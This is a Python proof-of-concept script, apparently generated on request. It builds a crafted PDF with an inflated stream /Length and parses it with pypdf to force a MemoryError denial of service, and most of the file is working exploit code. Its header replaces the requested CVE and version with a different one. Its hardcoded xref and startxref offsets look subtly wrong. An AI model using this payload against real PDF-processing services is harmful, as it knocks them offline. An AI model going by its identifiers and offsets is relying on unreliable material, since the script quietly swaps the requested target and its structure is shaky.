Vulnerable code sample

#
# This code demonstrates the vulnerability CVE-2023-31826 in `pypdf`.
# The original request mentioned CVE-2026-31826 and version 6.8.0, but the
# correct identifier is CVE-2023-31826, affecting versions prior to 3.8.0.
#
# To run this demonstration:
# 1. Ensure you have a vulnerable version of pypdf installed.
#    pip uninstall pypdf
#    pip install "pypdf<3.8.0"
#
# 2. Run this Python script.
#
# The script will create a small PDF file on disk. This PDF is specially
# crafted to have a stream object with a `/Length` dictionary key pointing to a
# very large number (1GB). The actual data in the stream is empty.
#
# When a vulnerable version of `pypdf` attempts to parse this file, it will
# trust the `/Length` value and try to allocate 1GB of memory, leading to a
# `MemoryError` and a denial of service.

import os
import pypdf

# Define a huge length value to cause a large memory allocation (e.g., ~1 GB)
huge_length = 1_000_000_000
pdf_filename = "cve_2023_31826_poc.pdf"

# A minimal, specially crafted PDF content.
# Object 4 is the malicious stream object. Its /Length is `huge_length`,
# but its actual content between `stream` and `endstream` is empty.
pdf_content_template = f"""
%PDF-1.7
%¥±Á

1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj

2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]>>
endobj

3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Contents 4 0 R>>
endobj

4 0 obj
<</Length {huge_length}>>
stream

endstream
endobj

xref
0 5
0000000000 65535 f 
0000000018 00000 n 
0000000073 00000 n 
0000000132 00000 n 
0000000220 00000 n 

trailer
<</Size 5/Root 1 0 R>>
startxref
{220 + len(str(huge_length)) + 40}
%%EOF
"""

# The startxref offset needs to be calculated based on the length of the huge_length number
pdf_content = pdf_content_template.strip()

# 1. Create the malicious PDF file
with open(pdf_filename, "w", encoding="latin-1") as f:
    f.write(pdf_content)

print(f"Created malicious PDF: '{pdf_filename}'")
print(f"pypdf version being tested: {pypdf.__version__}")
print("Attempting to parse the PDF. A vulnerable version will raise a MemoryError.")
print("-" * 30)

try:
    # 2. Trigger the vulnerability
    # The PdfReader constructor will parse the objects and stream headers.
    # When it encounters the stream with the large /Length, it attempts
    # to allocate memory for that size, triggering the error.
    reader = pypdf.PdfReader(pdf_filename)

    # If this line is reached, the version is not vulnerable
    print("\n[+] SUCCESS (Not Vulnerable): PDF parsed without error.")
    print("    This version of pypdf is likely not vulnerable to CVE-2023-31826.")

except MemoryError:
    # 3. Catch the expected error
    print("\n[-]FAILURE (Vulnerable): Vulnerability successfully triggered!")
    print("    A MemoryError was raised, as the library tried to allocate")
    print(f"    approximately {huge_length / 1e9:.1f} GB of memory.")
except Exception as e:
    print(f"\n[!] An unexpected error occurred: {type(e).__name__}: {e}")
finally:
    # 4. Clean up the created file
    if os.path.exists(pdf_filename):
        os.remove(pdf_filename)
        print(f"\nCleaned up and removed '{pdf_filename}'.")